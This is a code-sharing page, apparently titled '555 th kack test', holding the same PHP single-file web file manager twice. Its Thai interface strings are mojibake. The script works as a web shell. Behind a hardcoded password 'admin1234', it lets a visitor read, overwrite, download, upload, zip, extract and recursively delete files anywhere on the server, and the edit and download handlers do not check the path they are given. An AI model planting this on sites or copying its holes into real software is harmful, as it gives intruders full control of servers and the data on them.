<?php $password = "admin1234"; $sessionName = "file_manager_login"; session_name($sessionName); session_start(); // ---------- LOGIN ---------- if (isset($_GET['logout'])) { session_destroy(); header("Location: " . $_SERVER['PHP_SELF']); exit; } if (!isset($_SESSION['loggedin'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['password'] === $password) { $_SESSION['loggedin'] = true; header("Location: " . $_SERVER['PHP_SELF']); exit; } echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Login</title><style> body { background:#222; color:white; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif; } .box { background:#333; padding:30px; border-radius:10px; text-align:center; } input,button { padding:10px; margin-top:10px; border:none; border-radius:5px; } button { background:#00bcd4; color:white; cursor:pointer; } </style></head><body> <form class="box" method="post"> <h2>馃攼 Enter Password</h2> <input type="password" name="password" required autofocus><br> <button type="submit">Login</button> </form></body></html>'; exit; } // ---------- PATH ---------- $path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$path || !is_dir($path)) $path = getcwd(); $search = isset($_GET['search']) ? strtolower(trim($_GET['search'])) : ""; // ---------- RENAME FILE/FOLDER ---------- if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) { $from = realpath($_POST['rename_from']); $to = $path . '/' . basename($_POST['rename_to']); if ($from && strpos($from, $path) === 0 && !file_exists($to)) { if (rename($from, $to)) { header("Location: ?path=" . urlencode($path)); exit; } else { echo "<div style='color:red;'>鉂� 喙�喔涏弗喔掂箞喔⑧笝喔娻阜喙堗腑喙勦浮喙堗釜喔赤箑喔`箛喔�</div>"; } } else { echo "<div style='color:orange;'>鈿狅笍 喙勦浮喙堗釜喔侧浮喔侧福喔栢箑喔涏弗喔掂箞喔⑧笝喔娻阜喙堗腑喙勦笖喙� (喔娻阜喙堗腑喙冟斧喔∴箞喔嬥箟喔赤斧喔`阜喔箘喔∴箞喔栢腹喔佮笗喙夃腑喔�)</div>"; } } // ---------- CREATE FOLDER ---------- if (isset($_POST['create_folder']) && !empty($_POST['folder_name'])) { $newFolder = $path . '/' . basename($_POST['folder_name']); if (!file_exists($newFolder)) { if (mkdir($newFolder, 0777, true)) { header("Location: ?path=" . urlencode($path)); exit; } else { echo "<div style='color:red;'>鉂� 喙勦浮喙堗釜喔侧浮喔侧福喔栢釜喔`箟喔侧竾喙傕笩喔ム箑喔斷腑喔`箤喙勦笖喙�</div>"; } } else { echo "<div style='color:orange;'>鈿狅笍 喔∴傅喙傕笩喔ム箑喔斷腑喔`箤喔權傅喙夃腑喔⑧腹喙堗箒喔ム箟喔�</div>"; } } // ---------- CREATE FILE ---------- if (isset($_POST['create_file']) && !empty($_POST['file_name'])) { $newFile = $path . '/' . basename($_POST['file_name']); if (!file_exists($newFile)) { if (file_put_contents($newFile, "") !== false) { header("Location: ?path=" . urlencode($path)); exit; } else { echo "<div style='color:red;'>鉂� 喙勦浮喙堗釜喔侧浮喔侧福喔栢釜喔`箟喔侧竾喙勦笩喔ム箤喙勦笖喙�</div>"; } } else { echo "<div style='color:orange;'>鈿狅笍 喔∴傅喙勦笩喔ム箤喔權傅喙夃腑喔⑧腹喙堗箒喔ム箟喔�</div>"; } } // ---------- EDIT FILE ---------- if (isset($_GET['edit'])) { $editFile = $_GET['edit']; if ($_SERVER['REQUEST_METHOD'] === 'POST') { file_put_contents($editFile, $_POST['code']); header("Location: ?path=" . urlencode(dirname($editFile))); exit; } $code = htmlspecialchars(file_get_contents($editFile)); echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>Edit File</title><style> body { background:#1e1e1e; color:white; font-family: monospace; padding:20px; } textarea { width:100%; height:80vh; background:#111; color:#0f0; padding:10px; border:none; border-radius:5px; font-size: 14px; } button,a { padding:10px 20px; margin-top:10px; display:inline-block; background:#00bcd4; color:white; text-decoration:none; border:none; border-radius:5px; cursor:pointer; } button:hover,a:hover { background:#0097a7; } </style></head><body> <h2>鉁忥笍 Editing: " . htmlspecialchars($editFile) . "</h2> <form method='post'> <textarea name='code' spellcheck='false'>$code</textarea><br> <button type='submit'>Save</button> <a href='?path=" . urlencode(dirname($editFile)) . "'>Back</a> </form></body></html>"; exit; } // ---------- UPLOAD ---------- if (isset($_FILES['file'])) { $uploadPath = $path . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) { header("Location: ?path=" . urlencode($path)); exit; } } // ---------- MULTI DELETE ---------- if (isset($_POST['delete_selected']) && !empty($_POST['selected'])) { foreach ($_POST['selected'] as $target) { $target = realpath($target); if ($target && strpos($target, $path) === 0) { if (is_dir($target)) { $it = new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS); $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST); foreach ($files as $file) { $file->isDir() ? rmdir($file) : unlink($file); } rmdir($target); } elseif (is_file($target)) { unlink($target); } } } header("Location: ?path=" . urlencode($path)); exit; } // ---------- EXTRACT ZIP ---------- if (isset($_GET['extract'])) { $zipFile = $_GET['extract']; if (is_file($zipFile) && strtolower(pathinfo($zipFile, PATHINFO_EXTENSION)) === "zip") { $zip = new ZipArchive; if ($zip->open($zipFile) === TRUE) { $zip->extractTo(dirname($zipFile)); $zip->close(); } } header("Location: ?path=" . urlencode($path)); exit; } // ---------- DOWNLOAD ---------- if (isset($_GET['download']) && is_file($_GET['download'])) { $file = $_GET['download']; header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } // ---------- ZIP ALL ---------- if (isset($_GET['zipall'])) { $zipFile = sys_get_temp_dir() . '/archive_' . date('Ymd_His') . '.zip'; $zip = new ZipArchive(); if ($zip->open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE)) { $rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS)); foreach ($rii as $file) { if ($file->isFile()) { $zip->addFile($file->getRealPath(), substr($file->getRealPath(), strlen($path) + 1)); } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . basename($zipFile) . '"'); header('Content-Length: ' . filesize($zipFile)); readfile($zipFile); unlink($zipFile); exit; } } // ---------- FILE LIST ---------- $files = array_filter(scandir($path), function ($f) use ($path, $search) { return $f !== '.' && $f !== '..' && ($search === '' || stripos($f, $search) !== false); }); $parent = dirname($path); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>馃搧 File Manager</title> <style> @import url('https://fonts.googleapis.com/css2?family=Poppins:wght@300;600&display=swap'); body { font-family: 'Poppins', sans-serif; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); margin:0; padding:20px; color:white; } .container { max-width: 950px; margin: auto; background: rgba(255,255,255,0.1); padding: 20px; border-radius: 12px; backdrop-filter: blur(10px); } h2 { display:flex; justify-content:space-between; align-items:center; } .logout { text-decoration:none; background:#e74c3c; color:white; padding:6px 12px; border-radius:6px; } table { width:100%; border-collapse: collapse; margin-top: 10px; } th, td { padding:8px; border-bottom:1px solid rgba(255,255,255,0.2); } tr:hover { background: rgba(255,255,255,0.2); } a { color: #ffda89; text-decoration: none; } a:hover { text-decoration: underline; } .actions { margin-top: 20px; display:flex; gap:10px; flex-wrap:wrap; } button { padding:6px 12px; border:none; border-radius:4px; cursor:pointer; font-weight:bold; } .btn-del { background:red; color:white; } .btn-upload { background:#4CAF50; color:white; } .btn-zip { background:#ff9800; color:white; } .btn-back { background:#3498db; color:white; text-decoration:none; padding:6px 12px; border-radius:4px; } .rename-form { display:inline; margin-left:5px; } .rename-input { width:100px; font-size:12px; } .rename-btn { background:#2196f3; color:white; border:none; padding:2px 6px; border-radius:4px; } </style> </head> <body> <div class="container"> <h2>馃搨 <?= htmlspecialchars($path) ?> <a href="?logout=1" class="logout">Logout</a></h2> <?php if ($parent !== $path): ?> <a class="btn-back" href="?path=<?= urlencode($parent) ?>">猬嗭笍 Back</a> <?php endif; ?> <form method="get"> <input type="hidden" name="path" value="<?= htmlspecialchars($path) ?>"> <input type="text" name="search" placeholder="Search..." value="<?= htmlspecialchars($search) ?>"> <button type="submit">Search</button> </form> <form method="post"> <table> <tr><th><input type="checkbox" onclick="toggleAll(this)"></th><th>Name</th><th>Type</th><th>Size</th><th>Action</th></tr> <?php foreach ($files as $file): $full = $path . '/' . $file; ?> <tr> <td><input type="checkbox" name="selected[]" value="<?= htmlspecialchars($full) ?>"></td> <td> <?php if (is_dir($full)): ?> 馃搧 <a href="?path=<?= urlencode($full) ?>"><?= htmlspecialchars($file) ?></a> <?php else: ?> 馃搫 <?= htmlspecialchars($file) ?> <?php endif; ?> </td> <td><?= is_dir($full) ? "Folder" : "File" ?></td> <td><?= is_file($full) ? filesize($full) . " B" : "-" ?></td> <td> <?php if (is_file($full)): ?> <a href="?download=<?= urlencode($full) ?>">馃摜</a> <a href="?edit=<?= urlencode($full) ?>">鉁忥笍</a> <?php if (strtolower(pathinfo($full, PATHINFO_EXTENSION)) === "zip"): ?> <a href="?path=<?= urlencode($path) ?>&extract=<?= urlencode($full) ?>">馃摝 Extract</a> <?php endif; ?> <?php endif; ?> <!-- 喔涏父喙堗浮 Rename (喙冟笂喙夃箘喔斷箟喔椸副喙夃竾喙勦笩喔ム箤喙佮弗喔班箓喔熰弗喙�喔斷腑喔`箤) --> <form method="post" class="rename-form" onsubmit="return confirm('喙�喔涏弗喔掂箞喔⑧笝喔娻阜喙堗腑喙勦笩喔ム箤/喙傕笩喔ム箑喔斷腑喔`箤喔權傅喙夃箖喔娻箞喔福喔粪腑喙勦浮喙�?')"> <input type="hidden" name="rename_from" value="<?= htmlspecialchars($full) ?>"> <input type="text" name="rename_to" value="<?= htmlspecialchars($file) ?>" class="rename-input"> <button type="submit" class="rename-btn">鉁� Rename</button> </form> </td> </tr> <?php endforeach; ?> </table> <div class="actions"> <button type="submit" name="delete_selected" class="btn-del">馃棏 Delete Selected</button> </div> </form> <div class="actions"> <form method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <button class="btn-upload">馃摛 Upload</button> </form> <form method="post"> <input type="text" name="folder_name" placeholder="喔娻阜喙堗腑喙傕笩喔ム箑喔斷腑喔`箤" required> <button type="submit" name="create_folder" class="btn-upload">馃搧 Create Folder</button> </form> <form method="post"> <input type="text" name="file_name" placeholder="喔娻阜喙堗腑喙勦笩喔ム箤 喙�喔娻箞喔� note.txt" required> <button type="submit" name="create_file" class="btn-upload">馃摑 Create File</button> </form> <form method="get"> <input type="hidden" name="path" value="<?= htmlspecialchars($path) ?>"> <input type="hidden" name="zipall" value="1"> <button class="btn-zip">馃摝 Zip All</button> </form> </div> </div> <script> function toggleAll(source) { checkboxes = document.querySelectorAll('input[name="selected[]"]'); for (var i = 0; i < checkboxes.length; i++) { checkboxes[i].checked = source.checked; } } </script> </body> </html>
555 th kack test
Login to post a comment.
555 th kack test
<?php $password = "admin1234"; $sessionName = "file_manager_login"; session_name($sessionName); session_start(); // ---------- LOGIN ---------- if (isset($_GET['logout'])) { session_destroy(); header("Location: " . $_SERVER['PHP_SELF']); exit; } if (!isset($_SESSION['loggedin'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['password'] === $password) { $_SESSION['loggedin'] = true; header("Location: " . $_SERVER['PHP_SELF']); exit; } echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Login</title><style> body { background:#222; color:white; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif; } .box { background:#333; padding:30px; border-radius:10px; text-align:center; } input,button { padding:10px; margin-top:10px; border:none; border-radius:5px; } button { background:#00bcd4; color:white; cursor:pointer; } </style></head><body> <form class="box" method="post"> <h2>馃攼 Enter Password</h2> <input type="password" name="password" required autofocus><br> <button type="submit">Login</button> </form></body></html>'; exit; } // ---------- PATH ---------- $path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$path || !is_dir($path)) $path = getcwd(); $search = isset($_GET['search']) ? strtolower(trim($_GET['search'])) : ""; // ---------- RENAME FILE/FOLDER ---------- if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) { $from = realpath($_POST['rename_from']); $to = $path . '/' . basename($_POST['rename_to']); if ($from && strpos($from, $path) === 0 && !file_exists($to)) { if (rename($from, $to)) { header("Location: ?path=" . urlencode($path)); exit; } else { echo "<div style='color:red;'>鉂� 喙�喔涏弗喔掂箞喔⑧笝喔娻阜喙堗腑喙勦浮喙堗釜喔赤箑喔`箛喔�</div>"; } } else { echo "<div style='color:orange;'>鈿狅笍 喙勦浮喙堗釜喔侧浮喔侧福喔栢箑喔涏弗喔掂箞喔⑧笝喔娻阜喙堗腑喙勦笖喙� (喔娻阜喙堗腑喙冟斧喔∴箞喔嬥箟喔赤斧喔`阜喔箘喔∴箞喔栢腹喔佮笗喙夃腑喔�)</div>"; } } // ---------- CREATE FOLDER ---------- if (isset($_POST['create_folder']) && !empty($_POST['folder_name'])) { $newFolder = $path . '/' . basename($_POST['folder_name']); if (!file_exists($newFolder)) { if (mkdir($newFolder, 0777, true)) { header("Location: ?path=" . urlencode($path)); exit; } else { echo "<div style='color:red;'>鉂� 喙勦浮喙堗釜喔侧浮喔侧福喔栢釜喔`箟喔侧竾喙傕笩喔ム箑喔斷腑喔`箤喙勦笖喙�</div>"; } } else { echo "<div style='color:orange;'>鈿狅笍 喔∴傅喙傕笩喔ム箑喔斷腑喔`箤喔權傅喙夃腑喔⑧腹喙堗箒喔ム箟喔�</div>"; } } // ---------- CREATE FILE ---------- if (isset($_POST['create_file']) && !empty($_POST['file_name'])) { $newFile = $path . '/' . basename($_POST['file_name']); if (!file_exists($newFile)) { if (file_put_contents($newFile, "") !== false) { header("Location: ?path=" . urlencode($path)); exit; } else { echo "<div style='color:red;'>鉂� 喙勦浮喙堗釜喔侧浮喔侧福喔栢釜喔`箟喔侧竾喙勦笩喔ム箤喙勦笖喙�</div>"; } } else { echo "<div style='color:orange;'>鈿狅笍 喔∴傅喙勦笩喔ム箤喔權傅喙夃腑喔⑧腹喙堗箒喔ム箟喔�</div>"; } } // ---------- EDIT FILE ---------- if (isset($_GET['edit'])) { $editFile = $_GET['edit']; if ($_SERVER['REQUEST_METHOD'] === 'POST') { file_put_contents($editFile, $_POST['code']); header("Location: ?path=" . urlencode(dirname($editFile))); exit; } $code = htmlspecialchars(file_get_contents($editFile)); echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>Edit File</title><style> body { background:#1e1e1e; color:white; font-family: monospace; padding:20px; } textarea { width:100%; height:80vh; background:#111; color:#0f0; padding:10px; border:none; border-radius:5px; font-size: 14px; } button,a { padding:10px 20px; margin-top:10px; display:inline-block; background:#00bcd4; color:white; text-decoration:none; border:none; border-radius:5px; cursor:pointer; } button:hover,a:hover { background:#0097a7; } </style></head><body> <h2>鉁忥笍 Editing: " . htmlspecialchars($editFile) . "</h2> <form method='post'> <textarea name='code' spellcheck='false'>$code</textarea><br> <button type='submit'>Save</button> <a href='?path=" . urlencode(dirname($editFile)) . "'>Back</a> </form></body></html>"; exit; } // ---------- UPLOAD ---------- if (isset($_FILES['file'])) { $uploadPath = $path . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) { header("Location: ?path=" . urlencode($path)); exit; } } // ---------- MULTI DELETE ---------- if (isset($_POST['delete_selected']) && !empty($_POST['selected'])) { foreach ($_POST['selected'] as $target) { $target = realpath($target); if ($target && strpos($target, $path) === 0) { if (is_dir($target)) { $it = new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS); $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST); foreach ($files as $file) { $file->isDir() ? rmdir($file) : unlink($file); } rmdir($target); } elseif (is_file($target)) { unlink($target); } } } header("Location: ?path=" . urlencode($path)); exit; } // ---------- EXTRACT ZIP ---------- if (isset($_GET['extract'])) { $zipFile = $_GET['extract']; if (is_file($zipFile) && strtolower(pathinfo($zipFile, PATHINFO_EXTENSION)) === "zip") { $zip = new ZipArchive; if ($zip->open($zipFile) === TRUE) { $zip->extractTo(dirname($zipFile)); $zip->close(); } } header("Location: ?path=" . urlencode($path)); exit; } // ---------- DOWNLOAD ---------- if (isset($_GET['download']) && is_file($_GET['download'])) { $file = $_GET['download']; header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } // ---------- ZIP ALL ---------- if (isset($_GET['zipall'])) { $zipFile = sys_get_temp_dir() . '/archive_' . date('Ymd_His') . '.zip'; $zip = new ZipArchive(); if ($zip->open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE)) { $rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS)); foreach ($rii as $file) { if ($file->isFile()) { $zip->addFile($file->getRealPath(), substr($file->getRealPath(), strlen($path) + 1)); } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . basename($zipFile) . '"'); header('Content-Length: ' . filesize($zipFile)); readfile($zipFile); unlink($zipFile); exit; } } // ---------- FILE LIST ---------- $files = array_filter(scandir($path), function ($f) use ($path, $search) { return $f !== '.' && $f !== '..' && ($search === '' || stripos($f, $search) !== false); }); $parent = dirname($path); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>馃搧 File Manager</title> <style> @import url('https://fonts.googleapis.com/css2?family=Poppins:wght@300;600&display=swap'); body { font-family: 'Poppins', sans-serif; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); margin:0; padding:20px; color:white; } .container { max-width: 950px; margin: auto; background: rgba(255,255,255,0.1); padding: 20px; border-radius: 12px; backdrop-filter: blur(10px); } h2 { display:flex; justify-content:space-between; align-items:center; } .logout { text-decoration:none; background:#e74c3c; color:white; padding:6px 12px; border-radius:6px; } table { width:100%; border-collapse: collapse; margin-top: 10px; } th, td { padding:8px; border-bottom:1px solid rgba(255,255,255,0.2); } tr:hover { background: rgba(255,255,255,0.2); } a { color: #ffda89; text-decoration: none; } a:hover { text-decoration: underline; } .actions { margin-top: 20px; display:flex; gap:10px; flex-wrap:wrap; } button { padding:6px 12px; border:none; border-radius:4px; cursor:pointer; font-weight:bold; } .btn-del { background:red; color:white; } .btn-upload { background:#4CAF50; color:white; } .btn-zip { background:#ff9800; color:white; } .btn-back { background:#3498db; color:white; text-decoration:none; padding:6px 12px; border-radius:4px; } .rename-form { display:inline; margin-left:5px; } .rename-input { width:100px; font-size:12px; } .rename-btn { background:#2196f3; color:white; border:none; padding:2px 6px; border-radius:4px; } </style> </head> <body> <div class="container"> <h2>馃搨 <?= htmlspecialchars($path) ?> <a href="?logout=1" class="logout">Logout</a></h2> <?php if ($parent !== $path): ?> <a class="btn-back" href="?path=<?= urlencode($parent) ?>">猬嗭笍 Back</a> <?php endif; ?> <form method="get"> <input type="hidden" name="path" value="<?= htmlspecialchars($path) ?>"> <input type="text" name="search" placeholder="Search..." value="<?= htmlspecialchars($search) ?>"> <button type="submit">Search</button> </form> <form method="post"> <table> <tr><th><input type="checkbox" onclick="toggleAll(this)"></th><th>Name</th><th>Type</th><th>Size</th><th>Action</th></tr> <?php foreach ($files as $file): $full = $path . '/' . $file; ?> <tr> <td><input type="checkbox" name="selected[]" value="<?= htmlspecialchars($full) ?>"></td> <td> <?php if (is_dir($full)): ?> 馃搧 <a href="?path=<?= urlencode($full) ?>"><?= htmlspecialchars($file) ?></a> <?php else: ?> 馃搫 <?= htmlspecialchars($file) ?> <?php endif; ?> </td> <td><?= is_dir($full) ? "Folder" : "File" ?></td> <td><?= is_file($full) ? filesize($full) . " B" : "-" ?></td> <td> <?php if (is_file($full)): ?> <a href="?download=<?= urlencode($full) ?>">馃摜</a> <a href="?edit=<?= urlencode($full) ?>">鉁忥笍</a> <?php if (strtolower(pathinfo($full, PATHINFO_EXTENSION)) === "zip"): ?> <a href="?path=<?= urlencode($path) ?>&extract=<?= urlencode($full) ?>">馃摝 Extract</a> <?php endif; ?> <?php endif; ?> <!-- 喔涏父喙堗浮 Rename (喙冟笂喙夃箘喔斷箟喔椸副喙夃竾喙勦笩喔ム箤喙佮弗喔班箓喔熰弗喙�喔斷腑喔`箤) --> <form method="post" class="rename-form" onsubmit="return confirm('喙�喔涏弗喔掂箞喔⑧笝喔娻阜喙堗腑喙勦笩喔ム箤/喙傕笩喔ム箑喔斷腑喔`箤喔權傅喙夃箖喔娻箞喔福喔粪腑喙勦浮喙�?')"> <input type="hidden" name="rename_from" value="<?= htmlspecialchars($full) ?>"> <input type="text" name="rename_to" value="<?= htmlspecialchars($file) ?>" class="rename-input"> <button type="submit" class="rename-btn">鉁� Rename</button> </form> </td> </tr> <?php endforeach; ?> </table> <div class="actions"> <button type="submit" name="delete_selected" class="btn-del">馃棏 Delete Selected</button> </div> </form> <div class="actions"> <form method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <button class="btn-upload">馃摛 Upload</button> </form> <form method="post"> <input type="text" name="folder_name" placeholder="喔娻阜喙堗腑喙傕笩喔ム箑喔斷腑喔`箤" required> <button type="submit" name="create_folder" class="btn-upload">馃搧 Create Folder</button> </form> <form method="post"> <input type="text" name="file_name" placeholder="喔娻阜喙堗腑喙勦笩喔ム箤 喙�喔娻箞喔� note.txt" required> <button type="submit" name="create_file" class="btn-upload">馃摑 Create File</button> </form> <form method="get"> <input type="hidden" name="path" value="<?= htmlspecialchars($path) ?>"> <input type="hidden" name="zipall" value="1"> <button class="btn-zip">馃摝 Zip All</button> </form> </div> </div> <script> function toggleAll(source) { checkboxes = document.querySelectorAll('input[name="selected[]"]'); for (var i = 0; i < checkboxes.length; i++) { checkboxes[i].checked = source.checked; } } </script> </body> </html>